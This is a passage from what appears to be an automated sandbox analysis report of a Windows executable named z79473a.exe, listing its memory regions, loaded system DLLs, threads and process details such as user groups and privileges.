end_va = 0x7fffff45fff entry_point = 0x0 region_type = private name = "private_0x000007fffff44000" filename = "" Region: id = 2391 start_va = 0xde0000 end_va = 0xde0fff entry_point = 0xde0000 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 2392 start_va = 0xdf0000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 2393 start_va = 0x30f0000 end_va = 0x316ffff entry_point = 0x0 region_type = private name = "private_0x00000000030f0000" filename = "" Region: id = 2394 start_va = 0x3560000 end_va = 0x35dffff entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 2395 start_va = 0x3730000 end_va = 0x37affff entry_point = 0x0 region_type = private name = "private_0x0000000003730000" filename = "" Region: id = 2396 start_va = 0x6840000 end_va = 0x6c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000006840000" filename = "" Region: id = 2397 start_va = 0x7fef7fa0000 end_va = 0x7fef801bfff entry_point = 0x7fef7fa0000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Thread: id = 39 os_tid = 0xb94 Thread: id = 40 os_tid = 0xb90 Thread: id = 41 os_tid = 0xb8c Thread: id = 42 os_tid = 0xb88 Thread: id = 43 os_tid = 0xb80 Thread: id = 44 os_tid = 0xb7c Thread: id = 45 os_tid = 0xb78 Thread: id = 46 os_tid = 0xb74 Thread: id = 47 os_tid = 0xb70 Thread: id = 48 os_tid = 0xb6c Thread: id = 49 os_tid = 0xb68 Thread: id = 50 os_tid = 0xb64 Thread: id = 51 os_tid = 0xb60 Thread: id = 52 os_tid = 0x764 Thread: id = 53 os_tid = 0x440 Thread: id = 54 os_tid = 0x76c Thread: id = 55 os_tid = 0x6d4 Thread: id = 56 os_tid = 0x660 Thread: id = 57 os_tid = 0x370 Thread: id = 58 os_tid = 0x330 Thread: id = 59 os_tid = 0x184 Thread: id = 60 os_tid = 0x554 Thread: id = 61 os_tid = 0x568 Thread: id = 62 os_tid = 0x420 Thread: id = 63 os_tid = 0x7e4 Thread: id = 64 os_tid = 0x7dc Thread: id = 65 os_tid = 0x7d8 Thread: id = 66 os_tid = 0x7d4 Thread: id = 67 os_tid = 0x784 Thread: id = 68 os_tid = 0x75c Thread: id = 69 os_tid = 0x748 Thread: id = 70 os_tid = 0x744 Thread: id = 71 os_tid = 0x738 Thread: id = 72 os_tid = 0x728 Thread: id = 73 os_tid = 0x724 Thread: id = 74 os_tid = 0x71c Thread: id = 75 os_tid = 0x700 Thread: id = 76 os_tid = 0x6fc Thread: id = 77 os_tid = 0x6f4 Thread: id = 78 os_tid = 0x6a8 Thread: id = 79 os_tid = 0x4c4 Thread: id = 80 os_tid = 0x488 Thread: id = 81 os_tid = 0x47c Thread: id = 82 os_tid = 0x478 Thread: id = 83 os_tid = 0x458 Thread: id = 84 os_tid = 0x444 Thread: id = 85 os_tid = 0x30c Thread: id = 86 os_tid = 0x294 Thread: id = 87 os_tid = 0x1e0 Thread: id = 88 os_tid = 0x3f8 Thread: id = 89 os_tid = 0x3ec Thread: id = 90 os_tid = 0x3e0 Thread: id = 91 os_tid = 0x388 Thread: id = 92 os_tid = 0x384 Thread: id = 93 os_tid = 0x380 Thread: id = 94 os_tid = 0x37c Thread: id = 95 os_tid = 0x374 Thread: id = 96 os_tid = 0x36c Thread: id = 104 os_tid = 0xbc8 Thread: id = 140 os_tid = 0xbec Thread: id = 141 os_tid = 0x114 Thread: id = 142 os_tid = 0x4f4 Thread: id = 143 os_tid = 0x8b8 Thread: id = 144 os_tid = 0x8c4 Thread: id = 145 os_tid = 0x88c Thread: id = 146 os_tid = 0x888 Thread: id = 147 os_tid = 0x288 Thread: id = 148 os_tid = 0x8d8 Thread: id = 149 os_tid = 0x8c0 Thread: id = 150 os_tid = 0x8f8 Thread: id = 151 os_tid = 0x8f0 Thread: id = 154 os_tid = 0x584 Thread: id = 155 os_tid = 0x914 Thread: id = 156 os_tid = 0x8a8 Thread: id = 161 os_tid = 0x580 Thread: id = 162 os_tid = 0x6d8 Thread: id = 163 os_tid = 0x6ec Thread: id = 164 os_tid = 0x6c8 Thread: id = 174 os_tid = 0x690 Thread: id = 175 os_tid = 0x358 Thread: id = 280 os_tid = 0x7a8 Process: id = "6" image_name = "z79473a.exe" filename = "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe" page_root = "0x4ad79000" os_pid = "0xba4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xa00" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe\" " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1289 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1290 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1291 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1292 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1293 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1294 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1295 start_va = 0x1a0000 end_va = 0x1a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1296 start_va = 0x400000 end_va = 0x43bfff entry_point = 0x400000 region_type = mapped_file name = "z79473a.exe" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\z79473a.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\z79473a.exe") Region: id = 1297 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1298 start_va = 0x777c0000 end_va = 0x7793ffff entry_point = 0x777c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1299 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1300 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1301 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1302 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1303 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1304 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1305 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1306 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1307 start_va = 0x750d0000 end_va = 0x7512bfff entry_point = 0x750d0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1308 start_va = 0x75240000 end_va = 0x7527efff entry_point = 0x75240000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1309 start_va = 0x752d0000 end_va = 0x752d7fff entry_point = 0x752d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1310 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1311 start_va = 0x76110000 end_va = 0x76155fff entry_point = 0x76110000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1312 start_va = 0x76540000 end_va = 0x7664ffff entry_point = 0x76540000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1313 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x0 region_type = private name = "private_0x00000000773c0000" filename = "" Region: id = 1314 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x0 region_type = private name = "private_0x00000000774e0000" filename = "" Region: id = 1315 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1316 start_va = 0x330000 end_va = 0x396fff entry_point = 0x330000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1317 start_va = 0x749d0000 end_va = 0x74b6dfff entry_point = 0x749d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1318 start_va = 0x75310000 end_va = 0x7531bfff entry_point = 0x75310000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1319 start_va = 0x75320000 end_va = 0x7537ffff entry_point = 0x75320000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1320 start_va = 0x75390000 end_va = 0x7542ffff entry_point = 0x75390000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1321 start_va = 0x75510000 end_va = 0x75519fff entry_point = 0x75510000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1322 start_va = 0x75540000 end_va = 0x755cefff entry_point = 0x75540000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1323 start_va = 0x755d0000 end_va = 0x7565ffff entry_point = 0x755d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1324 start_va = 0x75660000 end_va = 0x756b6fff entry_point = 0x75660000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1325 start_va = 0x756c0000 end_va = 0x7573afff entry_point = 0x756c0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 1326 start_va = 0x758f0000 end_va = 0x759dffff entry_point = 0x758f0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1327 start_va = 0x759f0000 end_va = 0x75a08fff entry_point = 0x759f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1328 start_va = 0x75b60000 end_va = 0x75bfcfff entry_point = 0x75b60000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1329 start_va = 0x75c00000 end_va = 0x75cabfff entry_point = 0x75c00000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1330 start_va = 0x76160000 end_va = 0x762bbfff entry_point = 0x76160000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1331 start_va = 0x76380000 end_va = 0x7647ffff entry_point = 0x76380000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1332 start_va = 0x76770000 end_va = 0x773b9fff entry_point = 0x76770000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1333 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1334 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1335 start_va = 0x440000 end_va = 0x5c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1336 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1337 start_va = 0x75430000 end_va = 0x754fbfff entry_point = 0x75430000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1338 start_va = 0x75cb0000 end_va = 0x75d0ffff entry_point = 0x75cb0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1339 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1340 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1341 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 1342 start_va = 0x600000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1343 start_va = 0x790000 end_va = 0x1b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1344 start_va = 0x75050000 end_va = 0x750cffff entry_point = 0x75050000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1345 start_va = 0x1b90000 end_va = 0x1d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 1347 start_va = 0x1b90000 end_va = 0x1c6efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001b90000" filename = "" Region: id = 1348 start_va = 0x1cd0000 end_va = 0x1d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cd0000" filename = "" Region: id = 1349 start_va = 0x75280000 end_va = 0x75285fff entry_point = 0x75280000 region_type = mapped_file name = "riched32.dll" filename = "\\Windows\\SysWOW64\\riched32.dll" (normalized: "c:\\windows\\syswow64\\riched32.dll") Region: id = 1350 start_va = 0x74eb0000 end_va = 0x74f25fff entry_point = 0x74eb0000 region_type = mapped_file name = "riched20.dll" filename = "\\Windows\\SysWOW64\\riched20.dll" (normalized: "c:\\windows\\syswow64\\riched20.dll") Region: id = 1351 start_va = 0x1d10000 end_va = 0x1fdefff entry_point = 0x1d10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1352 start_va = 0x1fe0000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 1353 start_va = 0x75290000 end_va = 0x752a2fff entry_point = 0x75290000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1354 start_va = 0x3a0000 end_va = 0x3a6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 1355 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 1356 start_va = 0x2110000 end_va = 0x2502fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 1357 start_va = 0x3d0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1358 start_va = 0x1fe0000 end_va = 0x205ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 1359 start_va = 0x20d0000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 1360 start_va = 0x2510000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1361 start_va = 0x2510000 end_va = 0x2e3ffff entry_point = 0x2510000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1362 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1363 start_va = 0x764b0000 end_va = 0x76532fff entry_point = 0x764b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1364 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 1365 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1366 start_va = 0x74e50000 end_va = 0x74ea7fff entry_point = 0x74e50000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 1367 start_va = 0x2e40000 end_va = 0x2f40fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1368 start_va = 0x2e40000 end_va = 0x3240fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1369 start_va = 0x2e40000 end_va = 0x3240fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1370 start_va = 0x3250000 end_va = 0x3350fff entry_point = 0x0 region_type = private name = "private_0x0000000003250000" filename = "" Region: id = 1371 start_va = 0x1c70000 end_va = 0x1c70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 1372 start_va = 0x74d50000 end_va = 0x74e44fff entry_point = 0x74d50000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1375 start_va = 0x74d20000 end_va = 0x74d40fff entry_point = 0x74d20000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1376 start_va = 0x75b10000 end_va = 0x75b54fff entry_point = 0x75b10000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1377 start_va = 0x1c80000 end_va = 0x1c83fff entry_point = 0x1c80000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1378 start_va = 0x1c90000 end_va = 0x1caffff entry_point = 0x1c90000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db") Region: id = 1379 start_va = 0x1cb0000 end_va = 0x1cb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cb0000" filename = "" Region: id = 1380 start_va = 0x2e40000 end_va = 0x2f40fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1381 start_va = 0x2e40000 end_va = 0x2f40fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1382 start_va = 0x2e40000 end_va = 0x2f40fff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 1383 start_va = 0x752f0000 end_va = 0x752fafff entry_point = 0x752f0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1384 start_va = 0x1c80000 end_va = 0x1c83fff entry_point = 0x1c80000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1385 start_va = 0x2060000 end_va = 0x208ffff entry_point = 0x2060000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 1386 start_va = 0x1cc0000 end_va = 0x1cc3fff entry_point = 0x1cc0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1387 start_va = 0x2e40000 end_va = 0x2ea5fff entry_point = 0x2e40000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1388 start_va = 0x2090000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 1389 start_va = 0x2eb0000 end_va = 0x2faffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 1390 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1391 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 1392 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1393 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1394 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1395 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1396 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1397 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1398 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1399 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1400 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1401 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1402 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1403 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1404 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1405 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1406 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1407 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1408 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1409 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1410 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1411 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1412 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1413 start_va = 0x75520000 end_va = 0x75531fff entry_point = 0x75520000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1414 start_va = 0x75d70000 end_va = 0x75f0cfff entry_point = 0x75d70000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1415 start_va = 0x762c0000 end_va = 0x762e6fff entry_point = 0x762c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1416 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1417 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1418 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1419 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1420 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1421 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1422 start_va = 0x2fb0000 end_va = 0x30b0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1423 start_va = 0x2fb0000 end_va = 